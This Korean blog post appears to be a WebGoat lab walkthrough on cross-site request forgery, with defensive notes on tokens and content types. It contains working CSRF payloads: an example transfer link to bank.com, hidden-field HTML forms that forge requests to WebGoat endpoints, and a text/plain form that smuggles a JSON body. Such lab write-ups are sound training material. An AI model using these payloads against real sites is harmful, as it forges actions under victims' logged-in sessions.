티스토리 뷰

Concept
CSRF(Cross-site request fogery, 교차 사이트 요청 위조)는 원클릭 공격 또는 세션 라이딩으로도 알려져 있으며 XSRF로도 불린다. 이는 사용자가 신뢰하는 웹 사이트에서 허가되지 않은 명령이 전송되는 방식의 공격이다. XSS와 달리 CSRF는 사이트가 사용자의 브라우저를 신뢰한다는 점을 악용한다. 그럴듯한 웹 페이지를 만들어서 이용자의 입력을 유도하고, 이를 은행이나 포털 사이트 등으로 전송해 마치 이용자가 동의한 것 같은 요청을 발생시킨다.
이용자의 세션 쿠키를 사용할 수 있다면, 이용자의 권한으로 웹 서비스의 기능을 사용할 수 있다. CSRF는 이용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점이다. 공격자는 이용자의 권한으로 서비스를 사용해 이득을 취할 수 있다.
공격자가 작성한 악성 스크립트를 이용자가 실행해야 한다. 이 과정에서 일종의 사회공학적인 해킹이 필요하다. 예를 들어 다음과 같은 이메일을 받았다고 가정한다.
<a href="http://bank.com/transfer?account_number_from=123456789&account_number_to=987654321&amount=100000">View my Pictures!</a>
사용자가 아직 bank.com 사이트에 로그인한 상태라면 이 요청으로 인해 한 계좌에서 다른 계좌로 돈이 이체된다. 물론 대부분의 경우 웹 사이트는 이러한 요청을 승인하기 위해 여러가지 추가 장치를 가지고 있다.
3

버튼을 누르면 다음과 같은 응답을 받을 수 있다.
{
"flag" : null,
"success" : false,
"message" : "Appears the request came from the original host"
}
즉, 다른 오리진에서 동일한 요청을 보낼 수 있도록 해야 한다. HTTP 요청을 확인하면 다음과 같다.
POST /WebGoat/csrf/basic-get-flag HTTP/1.1
Host: localhost:8080
Content-Length: 36
Cache-Control: max-age=0
sec-ch-ua: "Not-A.Brand";v="99", "Chromium";v="124"
.
.
.
csrf=false&submit=%EC%A0%9C%EC%B6%9C
`/WebGoat/csrf/basit-get-flag`로 POST 요청을 한다. 이 때 form 데이터는 `csrf=false`, `submit=%EC%A0%9C%EC%B6%9C`이다. 한글이라 인코딩 처리된 것 같다. 따라서 현재 로그인이 되어 있는 브라우저와 동일한 탭에서 요청을 보낼 수 있도록 HTML 코드를 작성한다.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="http://localhost:8080/WebGoat/csrf/basic-get-flag" method="post">
<input name="csrf" value="false" type="hidden"/>
<input name="submit" value="제출" type="hidden"/>
<button type="submit">제출</button>
</form>
</body>
</html>
4



현재 로그인한 사용자의 권한으로 리뷰를 작성해야 한다.

요청을 확인해 전송해야 하는 파라미터를 확인한다.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="http://localhost:8080/WebGoat/csrf/review" method="post">
<input name="reviewText" value="titme" type="hidden"/>
<input name="stars" value="5" type="hidden"/>
<input name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9" type="hidden"/>
<button type="submit">제출</button>
</form>
</body>
</html>
Automatic support from frameworks
대부분의 프레임워크는 이제 CSRF 방지를 기본적으로 지원한다. 예를 들어 Angular는 인터셉터가 기본적으로 XSRF-TOKEN이라는 쿠키에서 토큰을 읽고 이를 HTTP 헤더인 X-XSRF-TOKEN에 설정한다. 도메인에서 실행되는 코드만 쿠키를 읽을 수 있기 때문에 백엔드는 HTTP 요청이 클라이언트에서 온 것인지 공격자에게서 온 것인지 알 수 있다.
이 기능이 제대로 동작하려면 백엔드 서버가 쿠키에 토큰을 설정해야 한다. Angular가 쿠키의 값을 읽어야 하기 때문에 이 쿠키는 http-only로 설정되지 않아야 한다. 서버로 보내는 모든 요청에 Angular는 X-XSRF-TOKEN을 HTTP 헤더에 포함시킨다. 서버는 이 두 토큰이 일치하는지 확인할 수 있으므로 요청이 동일한 오리진에서 온 것인지 보장할 수 있다.
당연히 별도의 쿠키를 정의하거나 세션 쿠키를 재사용하면 안된다.
세션 쿠키는 항상 http-only로 설정되어야 한다.
Custom headers not safe
다른 방어 방법으로 각 요청에 커스텀 헤더를 추가할 수 있다. 이는 서버와의 모든 상호작용이 JavaScript로 수행되는 경우에 동작한다. 서버 측에서는 이 헤더의 존재 여부를 확인하고, 헤더가 없으면 요청을 거부하거나 무시하면 된다. 일부 프레임워크는 이를 기본적으로 구현하지만 우회할 수 있는 방법이 보고되었다.
CSRF and content-type
웹 애플리케이션이 JSON 형식의 데이터만 주고 받고, CORS를 비활성화 해서 다른 도메인에서 서버로의 요청을 기본적으로 허용하지 않은 경우 어떻게 CSRF에 취약할 수 있나? 많은 웹 애플리케이션이 CSRF에 대한 조치를 하지 않았음에도 application/json이라는 Content-Type 타입으로 동작한다는 사실 때문에 어느정도 보호된다. 브라우저에서 이 Content-Type으로 요청을 보내는 유일한 방법은 XHR 요청을 사용하는 것이다. 브라우저가 이러한 요청을 보내기 전에 서버로 Preflight 요청을 보낸다. Preflight 응답에서 크로스 오리진 요청을 허용하지 않는다고 명시된 경우 브라우저는 호출을 하지 않는다.
그러나 이는 CSRF에 대한 유효한 보호 방법이 아니다. 이 방법이 충분하지 않은 이유 중 하나는 `Navigator.sendBeacon()`이 임의의 Content-Type으로 POST 요청을 보낼 수 있기 때문이다.
function postBeacon() {
var data = new Blob([JSON.stringify({"author": "WebGoat"})], {type: 'application/json'});
navigator.sendBeacon("http://localhost:8083", data);
}
7

<script >
fetch("http://localhost:8000/WebGoat/csrf/feedback/message", {
method: 'POST',
headers: {'Content-Type': 'text/plain'},
body: "{'name': 'WebGoat', 'email': 'webgoat@webgoat.org', 'content': 'WebGoat is the best!!', 'subject': 'na'}"
});
</script>
필요한 요청을 다음과 같이 보내면 CORS 정책으로 인해 요청이 블락되었음을 알 수 있다.

따라서 다른 방식이 필요하다. form의 내용을 text/plain으로 encrypt 해서 보내는 경우 요청은 다음과 같다.

JSON도 결국 텍스트로 전송되고, 이를 서버에서 파싱하므로 다음과 같이 보낼 수 있을 것 같다.
<form action="http://localhost:8080/WebGoat/csrf/feedback/message" method="post" enctype="text/plain">
<input name='{"name": "WebGoat", "email": "webgoat@webgoat.org", "content": "WebGoat is the best!!", "subject": "na", "ignore": "' value='"}' type="hidden"/>
<button type="submit">제출</button>
</form>
그러면 실제 요청은 다음과 같이 들어간다.

Login CSRF attack
로그인 CSRF 공격에서 공격자는 사이트에 자신의 사용자 이름과 비밀번호를 사용해 로그인 요청을 위조한다. 위조가 성공하면 서버는 Set-Cookie 헤더를 통해 세션 쿠키를 브라우저에 저장하도록 응답하여 사용자를 공격자로 로그인하게 한다.
'Wargame > WebGoat' 카테고리의 다른 글
| Server-Side Request Forgery (0) | 2024.05.23 |
|---|---|
| Injection: Cross Site Scripting (0) | 2024.05.16 |
| Injection: SQL Injection (intro) (0) | 2024.05.16 |
- Total
- Today
- Yesterday
- Spring
- opengraph
- 회고
- DP
- Misc
- SEO
- oauth2
- webgoat
- askers
- React
- math
- Framework
- Database
- CSRF
- Dreamhack
- sqli
- XSS
- Spring Security
- WarGame
- java
- linux
- Bandit
- sql injection
- JPA
- test
- Transaction
- WEB
- PS
| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | |
| 7 | 8 | 9 | 10 | 11 | 12 | 13 |
| 14 | 15 | 16 | 17 | 18 | 19 | 20 |
| 21 | 22 | 23 | 24 | 25 | 26 | 27 |
| 28 | 29 | 30 |